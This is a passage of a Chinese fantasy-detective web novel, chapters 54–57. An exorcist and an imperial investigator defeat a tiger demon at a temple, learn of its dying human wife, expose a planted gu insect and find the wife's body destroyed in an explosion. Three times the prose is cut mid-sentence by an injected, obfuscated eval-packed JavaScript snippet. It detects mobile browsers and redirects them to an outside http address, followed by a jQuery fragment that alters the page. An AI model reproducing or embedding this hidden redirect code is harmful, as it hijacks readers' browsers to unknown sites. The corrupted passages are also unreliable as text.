灵骅寺确实是风水宝地,不然也不会成为桓安香火最旺盛的寺庙,许多显贵都到这里来祈福。 况且它也并不是什么普通的寺庙,寺中方丈和高僧法力都货真价实的高强,一般妖物都不敢靠近,这虎妖为什么会费这么大劲力,强闯寺庙,它到底想要什么呢? 还有那蛇妖巨蟒,和虎妖是一起的吗? 正想着,一声巨响传来,什么东西冲破了大雄宝殿的大门,闯了进来。 众人皆惊。 霍彦先在门口处,眼疾手快,接住一道纤细的身影,将其揽在怀中。 那竟然是阿婵! 只见阿婵面色惨白,周身布满一道道血痕,衣物到处是被虎妖抓挠的破口。 怎么会这样?! 霍彦先心中大骇。 他何曾见过这样狼狈的阿婵,无论是仙昙村捉鱼妖,还是富州城钓江伥,她永远都是一副眼含笑意胸有成竹的样子。 所以当阿婵飞身去追虎妖,他认为理所应当,因为他下意识地认为,阿婵一定可以应付。 但眼前的阿婵,面白如纸,孱弱地倒在他怀中,还猛地呕出一滩鲜血。 难道,这次虎妖的法力之高,是连阿婵都对付不了的吗? 只听得一声猛虎长啸,大雄宝殿前蓦地闪现了一道琥珀色的身影。 虎妖在殿前逡巡,迟迟没有上前,只是冲着大殿中说:“快点将佛舍利交出来!否则你们全都得死!” 54. 殊死一搏 听到虎妖的威胁,大雄宝殿内的所有人都惶恐万分。 阮云薇、楼映真和众贵女夫人紧挨着瑟缩在煜王身后,往大殿的角落里挤,生怕虎妖进来第一时间拿自己打牙祭。 “你怎么样?”霍彦先问阿婵,声音中都是急切。 阿婵睫毛轻颤,摇摇头,从霍彦先怀中强撑着站起来,看向大殿内。 方丈和众多僧人昏迷不醒,只有一位高僧还能行动自如。 “看来,只有殊死一搏了……请大师保护好殿中的人,其他的交给我。”阿婵对着那唯一一位高僧说道。 高僧双手合十,将煜王夫妇和一众夫人贵女拦在自己身后,严阵以待。 阿婵站在大殿门口,直面虎妖,颇有一夫当关,万夫莫开的气势。 但霍彦先看得到,她背后满是鲜血,显然已伤及肺腑。 虎妖看着风一吹就倒却还在逞强的阿婵,嗤笑一声:“全部过来!” 此话一出,除了大殿前行走的“僵尸”,还有许多虎伥也从大殿周围各处出现,齐齐朝着大殿呈包围之势。 包括那个脚尖冲后的小沙弥,正以非常恐怖怪异的姿态,和其他虎伥一起朝大雄宝殿逼近。 “怎么会有这么多?!”霍彦先问。 “寺外结界已破,虎伥可以随意进出。”阿婵虚弱道。 “还有符箓吗,我帮你。” 阿婵凄然一笑,“没了,刚才都给你了。” “那也无妨,遇神杀神,遇佛杀佛。”霍彦先依旧站在阿婵旁边,没有退缩。 阿婵看了霍彦先一眼,有些意外。 虎妖轻蔑地嘲笑霍彦先:“肉.体凡胎,也敢逞能!放心,我不会杀了你们的,我只要佛舍利。” 话是这么说,但它眼中尽是贪.婪阴狠,恨不能将所有人都剥皮拆骨,吃干抹净。 大雄宝殿中的众人忐忑异常,一对多,这怎么打得过?这下不会只能闭眼等死了吧。 阿婵忍着内伤,捏起了诀。 虎妖眯起双眸,“当真执迷不悟?” 阿婵道:“痴心妄想,佛宝也敢觊觎,就算拿到你也无福消受!” “既然如此,就别怪我不客气!”虎妖也不再废话,冲着身后十数个虎伥大喊:“破——” 众虎伥合力围攻,与虎妖一起攻向大雄宝殿外残存的一点结界。 阿婵目光瞬间变化,嘴角勾起一抹微笑。 嗤嗤嗤嗤…… 霎时间,只听得十数个尖锐物体刺破皮肉的声音同时传来…… ???!!! “怎么会!!!” 一阵剧痛袭来,虎妖目眦尽裂,眼睁睁看着自己的身体瞬间被十几个虎伥一起围攻刺穿,一时间惊愕得都忘了挣.扎。 利齿间血流不止,虎妖恨道:“你……使诈!” 刹那间,虎妖眼前似掀开一层纱帘,场景变幻,这才看清,原来那些虎伥身后,正站着寺中方丈成智大师和一众高僧、沙弥。 他们排列好阵型,个个面色红润,眼神讽刺地看着它,口中念念有词。 而虎妖之前号令的那十几个虎伥,已然被众僧和阿婵一起用符箓控制着,齐齐用金刚杵刺入虎妖周身。 阿婵一改先前孱弱的模样,身上血迹尽消,像没事人一样朗声道:“刚才就跟你说过了,又不是只有你会障眼法,我也会啊~” *** 阿婵当年被父亲送入炁云洞修习,父亲让苍衍道长重点教她保命技能,所以阿婵精研各种“隐藏之道”,除了易容伪装术之外,她最擅长的还有“障眼法”。 今晚,她和霍彦先偷听阮云薇和楼映真谈话之时,看到天上颜色不同寻常的“月晕”,以及当时周围种种诡异状况,判断此种天象预示着妖物出没,因此,她特意给了霍彦先保命的护身符。 虽然当时她还不知道是哪个愚蠢的妖物,到底是有多想不通,才会想要突破重重阵法防御,进入灵骅寺这种高僧云集的寺庙中,但早做防备还是要紧的。 及至后来,他们遇到了那个一直在说“快回去”的小男孩。他只剩骨架的身躯让阿婵觉得非常不对劲。 因为她不是通灵体质,天生看不见魂魄,而如果她可以看到,霍彦先、阮云薇和楼映真这些毫无道行的普通人都能看到小男孩,那么可以推测,这一定是幻境。 因此,她又给了霍彦先保命的符箓,后来楼映真打开门,虎妖进门与其周旋,阿婵才确定,那是虎妖的分身,自己上前引开它,趁机让霍彦先带楼映真和阮云薇往大雄宝殿走。 那里是下午遇蛇风波后,方丈亲自设下的结界,整个寺庙最安全的地方。 虎妖来路不明,阿婵便一直跟着它的分身,观察其动向,再做打算。 这一路上,阿婵想起之前受方丈邀请给烧伤的高僧治疗时,他们的谈话内容—— “成智大师,最近寺中怎么似乎比我上次来时布阵要更为严密?” 阿婵被方丈引着,一路从山门走到禅房,她感受到了层层阵法严阵以待,不由得十分吃惊。 方丈道:“不瞒居士,几天后煜王和煜王妃将要前来祈福,所以寺中戒备等级有所提升。” 阿婵正是为这事来的,但还是故意问道:“这事我有耳闻,但祈福而已,多派些侍卫不就够了吗,为什么还要布这么多阵?难道是为了防传说中的那个黑色煞气?” “不止如此,最近我们都感到桓安妖气增多,许多以前安分守己从不越界的妖物,最近好像都蠢蠢欲动,企图进入寺中抢夺佛舍利弥补修为,我们也十分苦恼。 寺中好几位年事已高的高僧因此重新出山,借云游讲经的机会,四处打探原因,但目前尚未有结果,慈胤高僧还因此而严重烧伤,老衲心中十分过意不去。”方丈叹了口气。 又是弥补修为? 阿婵心中暗道,猫妖入梦和她讲过一次,药犀大妖也和她讲过一次,现在方丈又提起,看来这件事并不只局限在桓安,整个大桓都有这个趋势。 “这些妖物胆子够大的,连灵骅寺的阵法都敢闯,看来修为确实受损严重。”阿婵道。 “是的,这也是老衲想不通的地方,它们宁愿突破寺中层层禁制,身负重伤也要抢夺佛舍利,看来一定有什么不得已而为之的理由。” 阿婵皱眉:“我师傅曾经算到,不久后苍生会有一劫,因此闭关修炼,以备应劫。贵寺的妖物异象可能与此有关,大师还得多多提防,明年初的玄门大会,也可以和我师傅多聊一下这件事。” “多谢居士,苍衍道长心系苍生,老衲佩服。” 当时,阿婵在给高僧治伤之余,还和方丈推演了一下寺中阵法布防的合理性,如果妖物来犯,如何预防更为得当。没想到虎妖正好撞上来,那就别怪他们拿它当练手! 阿婵追着虎妖分身,这厮果然铆足了劲冲向藏经阁。 虎妖本尊早已在那里。 不知道它是搞了多少分身和虎伥,才突破结界进入寺庙,总之虽然有点厉害,但还在阿婵和方丈的预料之内。 阿婵到的时候,方丈已经按照他们之前所推演的那样,自行将真正的佛舍利拿走,和一众高僧护送客宿房中的煜王、贵女、夫人们前往布防最严密的大雄宝殿。 阿婵顺势将守护假佛舍利,和虎妖本尊在藏经阁周旋的重任揽在肩上。 “你好大的胆子,竟然敢抢佛宝!”阿婵假意怒道。 虎妖一个猛扑,企图从藏经阁外部栏杆直接爬到最顶层,结果阿婵一个冰魄凝水符,瞬间夏日夜间的水汽凝结成冰帘铺在藏经阁外,虎妖抓在光可鉴人的冰面上,直接滑了下去。 ???!!! 虎妖大怒,认为阿婵是在羞辱它,冲着阿婵一声长啸猛扑。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089847|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婵闪身轻盈躲开:“蠢货,难道就只有你会障眼法,我就不能会吗?” 如此几个来回交手,虎妖几番三番被阿婵戏弄,恼羞成怒,说道:“我与你无冤无仇,你也不是和尚尼姑,为什么要阻止我拿佛舍利,替那些秃驴办事!” “没什么啊,我就是看你脑门儿上的王字不好看不顺眼,不行吗?你到底为什么要抢佛舍利?”阿婵一边激怒它,一边套话。 岂料这虎妖倒是会做生意,“我修为受损,所以需要佛舍利弥补,你将佛舍利给我,等我弥补完,剩下的灵气你自可拿走修炼,如何?” 当然不如何,这虎妖满眼阴谋诡计,阿婵会信才怪! 只不过它这说辞倒是和方丈所言一致,看来妖物普遍修为受损这件事的确为真。 她一副可以考虑考虑的表情,顺着虎妖说:“我怎么能相信你?你修为怎么损的?损了多少?补完还能剩给我多少?” 虎妖不耐烦:“问那么多干嘛,快把佛舍利给我,不然别怪我手下不留情!” 阿婵假意与它打斗一番,装做失手受伤,让虎妖将佛舍利夺走。 虎妖得意,但打开一看,顿时大怒:“敢拿假的骗我!” 阿婵不管那么多,继续装作重伤逃跑,引得虎妖前往大雄宝殿。 算算时间,方丈和一众高僧应该已经在殿前布好了障眼法。现在只等她将虎妖和所有虎伥引过去,一网打尽。 *** “如何?被自己豢养的虎伥围攻,滋味很不错吧?” 阿婵看着大殿前,被金刚杵扎成筛子的虎妖问道。 “你又骗我!”虎伥难以置信,破口大骂。 听到骂声,霍彦先眼前忽然变化,发现自己并不是站在大门前,而是和煜王夫妇他们一起在大殿内打坐,众人也都是一幅如梦初醒的样子。 他立时起身看向门口,阿婵正和众僧一起压制虎伥,原来刚才的一切,竟然也是幻境! 看阿婵神采奕奕的样子,霍彦先不禁感慨,果然会骗,亏他还着急来着…… 阿婵笑嘻嘻指着虎伥和殿内所有人:“别伤心,又不止骗了你一个,我和方丈联合设置的障眼法,骗了所有人,怎么样,好受点了吧。” 虎妖:“……” 霍彦先和众人:“……” 虎妖不服,还想挣.扎,大骂一众虎伥:“没用的东西,竟敢背叛我!” 阿婵和众僧齐齐口中念咒,手中施法,声声颂念之中,虎妖被压制得结结实实,不能动弹分毫。 方丈对虎妖道:“佛弥陀佛,孽畜不要再执迷不悟,今日它们可以为你作伥,明日也可以为其他人所用。你作为始作俑者,这便是你的因果报应,快快放下执念,赎清罪孽……” 阿婵嫌和尚啰嗦,手中施加的法力越来越大,厉声问虎妖:“你一共杀了多少人?” 虎妖起初咬牙硬抗,但渐渐承受不住来自阿婵的威压,只得承认:“十七人。” 阿婵抬手一张符箓直击它命门,虎妖长啸一声,终于缓缓倒下。 “我悔过……我承认所有的杀孽,只求你们可以救救我的妻子,她是凡人,得了怪病,急需我的修为来弥补,我是迫不得已才进入寺中抢佛舍利的。”虎妖心气已不在,伏在地上苟延残喘。 众人惊讶,原来虎妖竟然还有个凡人.妻子? 阿婵冷声道:“在场这些虎伥,原本也是活生生的凡人,他们难道就没有妻儿老小?” 虎妖伏地磕头:“你法力高强,只要你愿意救玉娘,我可以将内丹给你赎罪。” 阿婵和方丈对视一眼,内丹是妖物最重要的东西,这虎妖杀了一十七人,触犯天道,就算死后投往修罗炼狱,苦修一千多年之后也可转世投胎,重头再来。 但它开口便将内丹祭出,相当于放弃轮回,以灰飞烟灭的代价救它的妻子玉娘,值得吗? 55. 以身相许 据这虎妖讲,它本在山中修炼,不曾与人发生冲突,但有一次遇到了猎户的陷阱,那陷阱十分阴险,它被缠住竟动弹不得,一连好几天都挣.扎不出来。 一位十七八岁的少女路过,看到虎妖受伤落入陷阱,便帮助它逃脱。 她废了九牛二虎之力将虎妖从陷阱中救出来。 一人一虎对峙而立,面面相觑。 少女眼巴巴看着虎妖,惊讶地问:“你不饿吗?为什么不吃我?” 虎妖也很诧异:“你救了我,我为什么要吃你?” 这老虎竟会说人话! 少女非但不怕它,还叹了口气,愁眉苦脸地说:“哎,你比人好……” 后来,少女还给它采来草药,替它敷药治伤。晚上,她就睡在它旁边,柔软的虎皮枕头十分舒服,还很温暖。 虎妖好奇问她:“你为什么不回家?” 少女一提这个就委屈,卷起袖子,全是被打的痕迹。 原来,她叫玉娘,继父嗜酒好赌,一喝酒便会打人,还把她阿娘的嫁妆都赌光了,阿娘哭着说了他两句,他便把阿娘打死了。 她恨继父,但自己年纪小没处去,还得忍气吞声,按照阿娘以前那样侍奉继父,挑水煮饭,洗衣打扫,挣钱养家。 但是,饭煮得太硬要挨打,叠的衣服有褶皱要挨打,地扫不干净要挨打。 继父把她替人洗衣服挣的钱全部赌光,没钱买米下锅,她到山上挖野薯野菜充饥,继父嫌难吃也要挨打。 有时候,她都不知道自己犯了什么错就要挨打,似乎只要她存在就会让继父觉得碍眼。 但继父从来不打她的脸,因为要把她嫁出去换彩礼。 可这一回,继父找媒婆给她说亲,媒婆嫌她太瘦不好生养,又因为常年给人洗衣服,腰劳损很严重,说害怕到时候生不出儿子,也不能下地干活,不划算,不肯介绍给那些彩礼出得多的人家。 继父见她被媒婆一顿挑剔,十分气恼,晚上喝得酩酊大醉,大骂她是赔钱货,让她把以前吃的饭都吐.出来,拖着她在地上打。 她实在受不了,便逃了出来。 见到陷阱里的虎妖,觉得它和自己同病相怜,明明没有任何过错,却被套上恶毒的枷锁,一天天活受罪。 她知道猛虎一旦逃脱陷阱,一定会吃了自己。 但那时,她觉得活着实在没什么意思,与其每日累死累活,还要被继父又打又骂,还不如直接被老虎吃掉。 结果,这老虎倒是比继父对她还温柔。 虎妖听完大怒,和她回去教训了那继父,继父害怕又记恨,找了道士上山捉虎妖。 那时玉娘已经不回家了,继父甚至先让道士算了玉娘的方位,趁她在山中找食物时将她绑起来,威胁虎妖现身,逼它就范。 虎妖不想玉娘受伤,忍着被道士符箓损伤修为的痛苦,卑微地求继父放了玉娘,任继父对它拳打脚底出气。 看虎妖被打得遍体鳞伤,玉娘一边哭一边求继父不要再打了,继父根本不理,一脚将玉娘踹到一边的树上。 玉娘瘦弱,哪里禁得住这一脚,后背抵在树干上直接吐了血。 虎妖一气之下也不管不顾,直接将继父和道士全吃了。 这之后,玉娘是真的不能回家了,她害怕邻里回来询问继父去哪儿了。 虎妖说,山中有个猎户以前住的废弃木屋,你住在那里,我守着你,绝对不会再让别人欺负你。 玉娘便开始和虎妖一起生活。 她发现,离开了继父的生活,全是平静自由,甚至美好。 有一天,玉娘头枕着虎妖柔软的肚皮看夕阳时,随口说道:“你知道吗,在书生写的传奇故事里,你救了我,我便要报恩,是要以身相许的。” 虎妖说:“是你先救的我,我应该先以身相许。” 玉娘“噗嗤”一声笑了,虎妖却很失落:“可惜我不是人。” 玉娘翻了个身,一把抱住它柔软温厚的皮毛:“你比人好。” 一人一妖便按照凡人的礼数,拜了天地,结为夫妻,相敬如宾。 虎妖很喜欢玉娘,只想快些修炼成人形,和她做真正的夫妻,和她一起去山下逛她口中热热闹闹的集市和吃酒肆里馋人的美食。 它有时候还会忧心,万一自己幻化的人形比不过传奇故事里的俊俏郎君,玉娘会不会不喜欢它了。 可好景不长,不久前,玉娘下山用野味山货换钱采买物资,回来便病倒了,不知道是什么病,她本来就清瘦,变得越来越形容枯槁,就像气血被吸干了一样。 晚上虎妖睡在屋外,很多次,它听见玉娘在屋里小声啜泣。 玉娘越来越不开心,甚至不想让虎妖看到她的样子,“你别管我了,我这人不人鬼不鬼的样子太丑了。” 虎妖靠在她身边,用头拱她:“你都没有嫌弃我是虎,我为什么会嫌弃你难看呢?况且你只是生病了,好了就会恢复美丽的。” 它将自己的修为渡给玉娘,玉娘真的恢复了原来的少女模样。 虎妖说:“你看,这不就好了嘛。” 玉娘这才眉头舒展,抱着虎妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093204|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡去。 但是第二天,玉娘起身,大惊失色,原来自己又恢复成行走的骷髅样。 虎妖再给她渡修为,如此反复,每次只能持续不到半日。 玉娘绝望,阻止它:“你不要管我了,这样下去你也会耗尽所有的修为,不值得。” “不,你值得。” 虎妖开始瞒着玉娘四处吃人,弥补修为,并且骗她说自己找到了提升修为的灵药。 吃完的这些人,就成了它的伥鬼,它命令这些虎伥到处给自己物色精元充沛的人,一部分是山下的村民,一部分是取道山中的旅人。有两个大补的童子,是它好不容易才找到的。 但奇怪的是,虎妖吃了许多人,还是不足以弥补耗损的修为,不知为何,它的修为好似被什么东西大力吸走似的,它问过周围的妖物,也是这样。 眼见玉娘一天比一天衰弱得更厉害,而虎妖的修为也耗费得一天比一天多,迫不得已,虎妖才冒险闯灵骅寺。 它制造雾气,设下蛇阵巨蟒的幻境,迷惑寺中人,趁机让虎伥从各处进入寺中,助它直闯藏经阁。因为藏经阁顶有佛舍利,是大桓所有妖物都觊觎的法宝,可以大幅提升修为。 众人听完,沉默唏嘘。 阿婵道:“感人,但你死得不冤。” 十七条人命,实实在在的杀孽。 虎妖已只剩最后一口气,吐.出内丹,对阿婵道:“你拿走吧,我只求你能去救救我的妻子,她快不行了。” 阿婵与方丈对视一眼,方丈道:“救人一命胜造七级浮屠。” “好,我答应你。”阿婵接过内丹。 虎妖闭上了眼睛,已经气绝。 *** “劳烦闻寰居士助我寺伏妖,剩下的交给老衲处理即可。”方丈道。 阿婵也没多说什么,以方丈和众高僧的能力,将这些虎伥收服并超度绰绰有余,她乐得将这些琐事甩出去,还得赶紧去找虎妖的妻子。 霍彦先也出去安排侍卫,出了这样的事,众人都决定天亮之后立即启程回去,一刻都不想多耽搁。 “等一下!” 就在众人打算结伴先回客房之时,阿婵突然叫道,“不对劲,还有妖物。” ???!!! 众人闻言惊诧回头,只见阿婵走到楼映真身边。 楼映真的脸霎时一片惨白,紧张地检查自己周身,“在哪里?” 阿婵不语,只是摸着下巴,绕楼映真周身不停地搜寻,一副大事不妙的样子。 阮云薇眼中暗起波澜。 56. 你和女居士认识? 众人起初以为楼映真周围有什么妖物,纷纷后退躲避,但看阿婵的表情,大家联想到虎伥,看着楼映真的眼神流露出惊恐,不约而同想,该不会她是被什么妖物附身了吧。 楼映真被阿婵搞得手足无措起来,强自镇定。 但煜王此时更加不淡定,也没空追究为什么富州城钓江伥的女高人会出现在这里,急切地问:“闻寰居士,请问映真到底有何不妥?” 阮云薇闻言眼神一黯,众人恨不得立时原地消失,装作没有看到这一幕。 阿婵忽然一副了然神色,伸手从楼映真后颈鬓发处一抹,手中便瞬间多了一只泛着淡金色泽的小虫。 这便是她背囊中的玉鳞蝶一直躁动不安的原因,因为此蝶以噬心蛊为食。 楼映真只觉后颈一阵酸胀刺痛,但周身那种沉重疲惫眩晕的感觉却似乎霎时间被抽离。 “这是何物?”霍彦先问出众人心中疑惑。 “这是噬心蛊,云疆才有的毒虫,被种入人体内可导致绞心之痛,但不会马上死亡,而是钝刀子割肉,累日经年让人陷入无法治愈的痛苦,如果不是遇到懂得术法的方士,药石无医。 而且,培育这噬心蛊很是不易,要花重金才能得到,不知道为何会出现在这里? 阿婵说着,视线扫过众人,在阮云薇身上略作停留,凉凉道:“当真有些古怪,不知道什么人会下此毒手,但是如果他不计较呢,我就收下啦!” 说着,阿婵摊开掌心,另一只手拿着一张符箓从上方覆向金色蛊虫,蛊虫立马燃烧起来,顷刻化为灰烬。 楼映真此刻终于感到通体恢复正常,于是赶紧向阿婵道谢:“怪不得我刚才从幻境中.出来就一直感觉周身不适,原来是中了这个蛊,现在感觉好多了,多谢居士救命之恩。” 众人在一旁担心起来:“施蛊之人不会还藏在我们之间,伺机下手吧?” 阮云薇瞬间垂下眼眸。 “各位贵人别担心。”阿婵立马从随身背囊中抽出厚厚一沓黄纸符箓,“我这里有平安符可保大家平安顺利回家。” 众人已见过阿婵是如何将虎妖收服,此刻再见阿婵轻轻巧巧便施展手段除掉蛊虫,对她的话自然信服不疑。 尤其是楼映真,刚才的不适感以及阿婵说这蛊虫会致人绞心之痛的话,都令她脊背发凉,心有余悸,于是她立刻问道:“敢问居士,可以请几张平安符么?” 阿婵和颜悦色道:“自然,不过我这里符箓不多……” 煜王立刻道:“劳烦闻寰居士多制一些平安符,分给在场众位贵宾,各位怎么说也是应本王夫妇的邀约前来,本王理当保各位平安。” 众人立时松了一口气,本来大家都不差钱,但刚才煜王一出声,众人便害怕煜王将平安符全部包圆。 如今听到煜王行事如此体贴周到,众人发自内心由衷感谢煜王夫妇。 只是……不知为何煜王妃脸上的笑容似乎有些苍白,或许是刚刚受到惊吓还没恢复? “煜王殿下和王妃真是慷慨!请大家放心,虽然我这里平安符不多,但是也够大家分了。” 阿婵眼神扫过闷闷不乐的阮云薇,脸上笑意更盛。 “当然,成智大师的护身符也是开过光非常灵的,大家如果觉得我这里的用着不放心,也可以从方丈这里直接请符回去。” 阿婵拉过方丈顺便给灵骅寺推销一波,没有忘记自己这到底还是在人家佛门的地盘,不好太嚣张。 方丈自然不会推拒,笑呵呵应允。 煜王一听,从善如流,慷慨解囊:“也好,烦请方丈和居士先将平安符分发给诸位,之后本王会立刻派人将功德金和法金送至。” “煜王殿下客气了,来来来,大家将符收好……” 阿婵满眼笑意将平安符分发给众位贵人,细心地叮嘱大家要放在衣服的什么部.位。 “……”霍彦先看着阿婵左右逢源的背影,怎么看都觉得连那背影也笑开了花,心中再次感叹,不愧是她。竟生出一股“她不会是故意来这里就等着卖符箓大赚一笔吧”的荒谬之感。 不过到底是谁下的蛊,幻境中当时难道还有别人?其实回想一下当时的场景,答案呼之欲出……只不过没有任何证据的情况下,霍彦先也不好提出调查。 “煜王妃,请收好。”阿婵恭恭敬敬将平安符递给阮云薇。 “多……多谢居士……”阮云薇脸色由苍白转暗沉,强打精神保持端庄仪态。 阿婵听着那从牙缝中挤出来的多谢,如听仙乐耳暂明,笑道: “看煜王妃的脸色不好,似乎是刚才受到了不小的惊吓,如果需要,我这里还有安神符、回血符、养颜符……”说着她又掏出一.大叠符箓。 阮云薇:“……” “都来一些!”煜王立刻道,“今日云薇也受苦了,快些回去修养吧。” 阮云薇:“……” 众人赶紧再次赞叹煜王与王妃伉俪情深。 但是没看错的话,怎么煜王妃的脸色竟比刚才更差了? 霍彦先将一切尽收眼底,走到阿婵身边轻咳一下,眼神提醒她快一点结束,让众人赶紧回到房间中,再次暗自祈求早点结束这糟糕的一晚。 煜王和煜王妃做足主人姿态,请大家早些回去休息。 楼映真独自一人落在后面,单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098210|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄的身影在月色下更添破碎之感,煜王眼神中有些心疼,但碍于煜王妃和众贵女夫人在场,也不能单独去跟她说什么,心中更添愧疚。 阮云薇刚才被阿婵闹了一遭,如今又见煜王脚步一顿一顿,眼神不时飘忽,心中恨极,面上却不敢显露,生怕他再塞些什么符箓给她,只得满腹憋屈地强行保持端庄姿态,一路看着煜王魂不守舍的样子,和他一起回去。 *** 霍彦先护送母亲回到客房中,欲将自己的平安符也给母亲。 “我不要,你收着吧。”霍夫人推拒,面露焦虑,“待会儿还去巡防吗,会不会再出事啊?” “没事的,您留着吧,我这里还有一些……”霍彦先顺口一敷衍,只想让她安心收下平安符。 “还有?也是刚才那个女居士给你的?什么时候给的?刚刚吗?还是你们早就认识?刚才在大雄宝殿前,你和她眉来眼去好像很熟的样子?”霍夫人瞬间嗅到不寻常的意味,目光炯炯看向自家儿子。 “……”霍彦先有时候觉得自己能干情报侦查这一行,或许是传承了母亲的血脉,怎么一句话能发散出这么多疑问! 看着母亲投来的八卦目光,他的头更痛了,鬼知道他们今晚经历了什么,他根本没法解释! 于是只得含糊应道:“是,之前一起查过案子,算是认识吧,她给了我一些平安符……” “怪不得,我就说为什么你看她的眼神不太对!”霍夫人大喜。 是啊,虽然没有证据,但就是感觉哪里有点可疑。 霍彦先知道自己或许是过度焦虑了,明明方丈已经帮阿婵澄清了她来寺中的目的,她也帮助自己破解幻境,收服虎妖伥鬼力保众人平安,但不知道为什么,霍彦先还是直觉阿婵有点可疑。 尤其她看向阮云薇和楼映真的时候,那个眼神,有股说不上来的微妙,他惯会从细微处捕捉人的表情,直觉告诉他,有问题。 但从理智上……或许是自己太小人之心度君子之腹了吧,他心中苦笑。 看着自家儿子愁眉苦脸、满腹疑云、嘴角翘起又撇下的样子,霍夫人感觉此中必有蹊跷,于是打破砂锅问到底:“你对她是不是……” “都是公务上的事!” 霍彦先一点儿不给母亲继续审问的机会,示意婢女服侍母亲歇息:“不早了,阿娘早点歇息吧,天一亮咱们就回去,我已飞鸽叫了杨奉安带人过来,也该到了,现在必须要出去部署了。” 霍夫人还没来得及施展自己的审讯神功,霍彦先便忙不迭化作一道闪电逃之夭夭,徒留老母亲在房中一声叹息:这小子,老大不小了,怎么整天满脑子就是公务公务的! 57. 爆炸 距离天亮已经不远,众人说是回客房休息,其实只是略作整顿,便马上令婢女侍从收拾东西准备离开,一刻也不想多停留。 杨奉安收到信号马不停蹄带绣衣察事司的人前来护卫,天亮后,霍彦先护送队伍进入桓安城郭,便折返回山中。 因为,他要和阿婵一起去找虎妖的妻子玉娘。 阿婵本想自己去,但考虑到玉娘命不久矣,要真出个什么好歹,自己在深山也没个人证,说不清楚。于是便让霍彦先和她一起,免得他俩再见面,阿婵又被人绑着说:“霍大人,我冤枉啊。” 霍彦先也不想看到这样的局面,于是便带几名绣衣监察和阿婵一起进山找玉娘。 这处深山离灵骅寺有一段距离,按照虎妖提供的地点,他们找到了废弃的猎户木屋。 屋前的死寂使他们预感非常不好。 就在他们推开门进屋看到伏在桌上的人时,忽然从木屋地下传来一声伴着火光的巨响! “砰——” 不好!是爆炸! 火光一下从屋中直接爆冲出来! 爆炸的一刹那,霍彦先伸手护住阿婵,直接侧身用手臂挡住屋中被炸飞的桌椅板凳!阿婵瞬间出手甩出一物,两人和几名绣衣监察赶紧撤退出来。 身后,爆炸却没有波及到周围的林木,原来阿婵甩出去的东西居然将火势包围住了,是凌焱双珠! 两名绣衣察事从未见过阿婵,看到眼前瞬间膨胀变大的一个巨型半透明蚕茧样的东西竟能将屋内火势与屋外完全隔离开来,不由得睁大了眼睛。 这凌焱双珠最宝贵的用途是保魂续命,虽然已经在仙昙村救鱼妖小宝的时候就废了,但亲水隔火的基础功用还在,对于这种小范围的火势是可以完全控制住的。 “有人要毁尸灭迹!还想让他们一起陪葬!” 此时,霍彦先和阿婵心中均是这样的想法,所以看到火势被控制住,两人一刻都没有犹豫,便直接返身冲进火场,将玉娘救出来。 冲进去的同时,霍彦先不忘一边放信号弹,一边对身后的绣衣监察喊:“通知其他人,搜山!周围可疑人物一概不要放过!” *** 玉娘被炸得四分五裂的尸体摆在地上。 因为阿婵及时用凌焱双珠扑灭了火势,所以玉娘的尸体虽被炸但没有被充分灼烧,还保留了一些皮肤血肉骨骼。 霍彦先通知桓安府尹派仵作快马加鞭过来处理尸体。 仵作检验完毕:“回霍大人,此具尸体遭遇爆炸之前已经死亡约三个时辰。” 算算时间,便是虎妖出没之前的半个时辰,也就是说,虎妖离开玉娘没多久,她便已经身亡? “大人,在尸体脖颈处发现了这个。” 仵作将玉娘脖颈处黏着的血液及头发碎渣等清理干净,露出残存的皮肤,霍彦先和阿婵一看之下,均皱起眉头。 她的脖颈处有一条细长如丝带的青黑色线条缠绕着。 “霍大人,你还记不记得江伥索命的传言?” 霍彦先当然记得,当时传说被江伥索命的人脖子上便会出现这种印记,他还让杨奉安去调查,为什么短短几天之内就会出现编排如此详细的传言。 最后证实是陈富仲找人散播的谣言,便以此结案。 可现在看来,并不是。 当时他俩冲进去抢救玉娘,阿婵用凌焱双珠扑灭火焰之后,发现火药是从木屋底下的一条很长的通道被塞进来的。 他们顺着通道查探,发现通往一处悬崖峭壁,周围没有人的痕迹,如果是人为将火药装在木屋地下引爆,需要非常快地往悬崖跑,才能保证自己不被爆炸的冲击力炸死。 而就算跑到悬崖,除了往下跳,也没有其他办法可以逃出升天。 霍彦先仔细检查发现,周围没有人为的凿壁痕迹,熟悉的感觉一下又出现了。 “霍大人,你觉不觉得,这很像富州城妖道搬运火药的粗陋版手段?” 霍彦先闻言看向阿婵,“你是说,当时我们搜山找出的人体残骸,不是妖道本人?” 那个妖道不仅没死,还跑到桓安继续作案?! 